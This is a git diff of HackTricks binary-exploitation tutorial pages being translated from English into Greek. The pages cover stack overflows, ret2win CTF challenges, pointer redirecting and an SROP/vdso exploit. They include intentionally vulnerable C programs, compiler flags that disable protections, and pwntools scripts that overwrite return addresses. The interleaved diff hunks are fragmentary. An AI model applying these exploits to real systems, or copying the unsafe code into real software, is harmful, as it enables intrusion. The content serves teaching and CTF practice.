||||
#include <unistd.h>
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
|
||||
return buffer;
|
||||
return buffer;
|
||||
}
|
||||
|
||||
char* gen_stack() {
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = gen_stack();
|
||||
return 0;
|
||||
char* b = gen_stack();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Εκμετάλλευση
|
||||
|
||||
## Exploit
|
||||
|
||||
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
|
||||
Στην ενότητα **`vdso`** είναι δυνατή η εύρεση μιας κλήσης προς **`sigreturn`** στην απόσταση **`0x7b0`**:
|
||||
|
||||
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
|
||||
|
||||
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό δεν το φορτώνει:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -176,14 +165,13 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
For more info about vdso check:
|
||||
Για περισσότερες πληροφορίες σχετικά με το vdso, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../ret2vdso.md
|
||||
{{#endref}}
|
||||
|
||||
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
|
||||
Και για να παρακάμψετε τη διεύθυνση του `/bin/sh`, μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτήν, για περισσότερες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
../../common-binary-protections-and-bypasses/aslr/
|
||||
|
||||
@ -2,37 +2,34 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is a Stack Overflow
|
||||
## Τι είναι το Stack Overflow
|
||||
|
||||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
|
||||
Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, στην αναστάτωση της ροής ελέγχου και ενδεχομένως στην εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
|
||||
|
||||
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
|
||||
Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
|
||||
|
||||
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
|
||||
Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως είναι σε θέση να επικαλύψει άλλα μέρη του stack.
|
||||
|
||||
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
|
||||
|
||||
For example, the following functions could be vulnerable:
|
||||
Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο.
|
||||
|
||||
Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
printf("Enter some text: ");
|
||||
gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
char buffer[128];
|
||||
printf("Enter some text: ");
|
||||
gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Εύρεση των offsets των Stack Overflows
|
||||
|
||||
### Finding Stack Overflows offsets
|
||||
Ο πιο κοινός τρόπος για να βρείτε stack overflows είναι να δώσετε μια πολύ μεγάλη είσοδο από `A`s (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι η **διεύθυνση `0x41414141` προσπαθήθηκε να προσπελαστεί**.
|
||||
|
||||
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
|
||||
Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους \_n**\_\*\* εμφανίζεται ακριβώς μία φορά\*\* ως συνεχής υποακολουθία.
|
||||
|
||||
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
|
||||
|
||||
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
|
||||
|
||||
It's possible to use **pwntools** for this:
|
||||
Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να την επικαλύπτουν.
|
||||
|
||||
Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -44,26 +41,23 @@ eip_value = p32(0x6161616c)
|
||||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||||
print(f"The offset is: {offset}")
|
||||
```
|
||||
|
||||
or **GEF**:
|
||||
|
||||
ή **GEF**:
|
||||
```bash
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Εκμετάλλευση Στοίβας Υπερχείλισης
|
||||
|
||||
## Exploiting Stack Overflows
|
||||
Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να **επικαλύψετε** τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\
|
||||
Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτόν τον δείκτη.
|
||||
|
||||
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
|
||||
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
|
||||
|
||||
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
|
||||
Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
|
||||
|
||||
### Ret2win
|
||||
|
||||
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
|
||||
Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέφει, η κρυφή συνάρτηση θα κληθεί:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -71,31 +65,31 @@ ret2win/
|
||||
|
||||
### Stack Shellcode
|
||||
|
||||
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
|
||||
Σε αυτό το σενάριο, ο επιτιθέμενος θα μπορούσε να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να πηδήξει στο shellcode και να εκτελέσει αυθαίρετο κώδικα:
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
### ROP & Ret2... τεχνικές
|
||||
|
||||
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
|
||||
Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψετε την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό αρχείο:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
{{#endref}}
|
||||
|
||||
## Heap Overflows
|
||||
## Υπερχείλιση Σωρού
|
||||
|
||||
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
|
||||
Μια υπερχείλιση δεν θα είναι πάντα στη στοίβα, μπορεί επίσης να είναι στον **σωρό** για παράδειγμα:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
## Types of protections
|
||||
## Τύποι προστασιών
|
||||
|
||||
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
|
||||
Υπάρχουν πολλές προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, ελέγξτε τις στο:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
|
||||
@ -1,28 +1,28 @@
|
||||
# Pointer Redirecting
|
||||
# Ανακατεύθυνση Δεικτών
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## String pointers
|
||||
## Δείκτες Συμβολοσειρών
|
||||
|
||||
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
|
||||
Αν μια κλήση συνάρτησης πρόκειται να χρησιμοποιήσει μια διεύθυνση μιας συμβολοσειράς που βρίσκεται στη στοίβα, είναι δυνατόν να εκμεταλλευτούμε την υπερχείλιση του buffer για να **επικαλύψουμε αυτή τη διεύθυνση** και να βάλουμε μια **διεύθυνση σε μια διαφορετική συμβολοσειρά** μέσα στο δυαδικό.
|
||||
|
||||
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
|
||||
Αν για παράδειγμα μια κλήση της συνάρτησης **`system`** πρόκειται να **χρησιμοποιήσει τη διεύθυνση μιας συμβολοσειράς για να εκτελέσει μια εντολή**, ένας επιτιθέμενος θα μπορούσε να τοποθετήσει τη **διεύθυνση μιας διαφορετικής συμβολοσειράς στη στοίβα**, **`export PATH=.:$PATH`** και να δημιουργήσει στον τρέχοντα κατάλογο ένα **σενάριο με το όνομα του πρώτου γράμματος της νέας συμβολοσειράς** καθώς αυτό θα εκτελείται από το δυαδικό.
|
||||
|
||||
You can find an **example** of this in:
|
||||
Μπορείτε να βρείτε ένα **παράδειγμα** αυτού στο:
|
||||
|
||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
|
||||
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
|
||||
- 32bit, change address to flags string in the stack so it's printed by `puts`
|
||||
- 32bit, αλλάξτε τη διεύθυνση στη συμβολοσειρά flags στη στοίβα ώστε να εκτυπωθεί από `puts`
|
||||
|
||||
## Function pointers
|
||||
## Δείκτες Συναρτήσεων
|
||||
|
||||
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
|
||||
Το ίδιο με τον δείκτη συμβολοσειρών αλλά εφαρμόζεται σε συναρτήσεις, αν η **στοίβα περιέχει τη διεύθυνση μιας συνάρτησης** που θα κληθεί, είναι δυνατόν να **αλλάξει** (π.χ. να καλέσει **`system`**).
|
||||
|
||||
You can find an example in:
|
||||
Μπορείτε να βρείτε ένα παράδειγμα στο:
|
||||
|
||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
|
||||
|
||||
|
||||
@ -4,47 +4,42 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
|
||||
Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε ένα δεδομένο δυαδικό αρχείο για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στο δυαδικό, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
|
||||
|
||||
### C Example
|
||||
|
||||
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
|
||||
|
||||
Σκεφτείτε ένα απλό πρόγραμμα C με μια ευπάθεια και μια συνάρτηση `win` που σκοπεύουμε να καλέσουμε:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations! You've called the win function.\n");
|
||||
printf("Congratulations! You've called the win function.\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buf[64];
|
||||
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
||||
char buf[64];
|
||||
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
|
||||
|
||||
Για να μεταγλωττίσετε αυτό το πρόγραμμα χωρίς προστασίες στο στοίβασμα και με το **ASLR** απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-m32`: Συγκεντρώστε το πρόγραμμα ως 32-bit δυαδικό (αυτό είναι προαιρετικό αλλά κοινό σε προκλήσεις CTF).
|
||||
- `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στο στοίβας.
|
||||
- `-z execstack`: Επιτρέψτε την εκτέλεση κώδικα στη στοίβα.
|
||||
- `-no-pie`: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης `win` δεν αλλάζει.
|
||||
- `-o vulnerable`: Ονομάστε το αρχείο εξόδου `vulnerable`.
|
||||
|
||||
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
|
||||
- `-fno-stack-protector`: Disable protections against stack overflows.
|
||||
- `-z execstack`: Allow execution of code on the stack.
|
||||
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
|
||||
- `-o vulnerable`: Name the output file `vulnerable`.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
|
||||
### Python Exploit χρησιμοποιώντας Pwntools
|
||||
|
||||
Για την εκμετάλλευση, θα χρησιμοποιήσουμε **pwntools**, ένα ισχυρό πλαίσιο CTF για τη συγγραφή εκμεταλλεύσεων. Το σενάριο εκμετάλλευσης θα δημιουργήσει ένα payload για να υπερχειλίσει το buffer και να αντικαταστήσει τη διεύθυνση επιστροφής με τη διεύθυνση της συνάρτησης `win`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
|
||||
|
||||
Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, μπορείτε να χρησιμοποιήσετε:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
Αυτή η εντολή θα σας δείξει τη συναρμολόγηση της `win` συνάρτησης, συμπεριλαμβανομένης της διεύθυνσης εκκίνησής της. 
|
||||
|
||||
This command will show you the assembly of the `win` function, including its starting address. 
|
||||
Το σενάριο Python στέλνει ένα προσεκτικά κατασκευασμένο μήνυμα που, όταν επεξεργαστεί από τη `vulnerable_function`, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στο stack με τη διεύθυνση της `win`. Όταν η `vulnerable_function` επιστρέφει, αντί να επιστρέψει στη `main` ή να τερματίσει, πηδά στη `win`, και το μήνυμα εκτυπώνεται.
|
||||
|
||||
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
|
||||
## Προστασίες
|
||||
|
||||
## Protections
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Αντικατάσταση** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
|
||||
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
|
||||
## Other examples & References
|
||||
## Άλλα παραδείγματα & Αναφορές
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
|
||||
- 32bit, no ASLR
|
||||
- 32bit, χωρίς ASLR
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
|
||||
- 64 bits with ASLR, with a leak of the bin address
|
||||
- 64 bits με ASLR, με μια διαρροή της διεύθυνσης bin
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
|
||||
- 64 bits, no ASLR
|
||||
- 64 bits, χωρίς ASLR
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||||
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
|
||||
- 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσει το stack και να αυξήσει το μέγεθος της δεύτερης υπερχείλισης
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
|
||||
- 32 bit, relro, χωρίς canary, nx, χωρίς pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
|
||||
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
|
||||
- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
|
||||
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
|
||||
- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
|
||||
- Το πρόγραμμα επικυρώνει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατό να προσθέσετε οποιοδήποτε μέγεθος όσο το τελευταίο byte είναι εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί μια υπερχείλιση buffer που εκμεταλλεύεται με ένα ret2win.
|
||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
|
||||
- 64 bit, relro, χωρίς canary, nx, pie. Μερική αντικατάσταση για να καλέσει τη συνάρτηση win (ret2win)
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
|
||||
- arm64, PIE, δίνει μια διαρροή PIE η συνάρτηση win είναι στην πραγματικότητα 2 συναρτήσεις οπότε ROP gadget που καλεί 2 συναρτήσεις
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||
- ARM64, off-by-one to call a win function
|
||||
- ARM64, off-by-one για να καλέσει μια συνάρτηση win
|
||||
|
||||
## ARM64 Example
|
||||
## Παράδειγμα ARM64
|
||||
|
||||
{{#ref}}
|
||||
ret2win-arm64.md
|
||||
|
||||
@ -2,109 +2,94 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Find an introduction to arm64 in:
|
||||
Βρείτε μια εισαγωγή στο arm64 στο:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code 
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations!\n");
|
||||
printf("Congratulations!\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without pie and canary:
|
||||
|
||||
Συγκέντρωση χωρίς pie και canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
```
|
||||
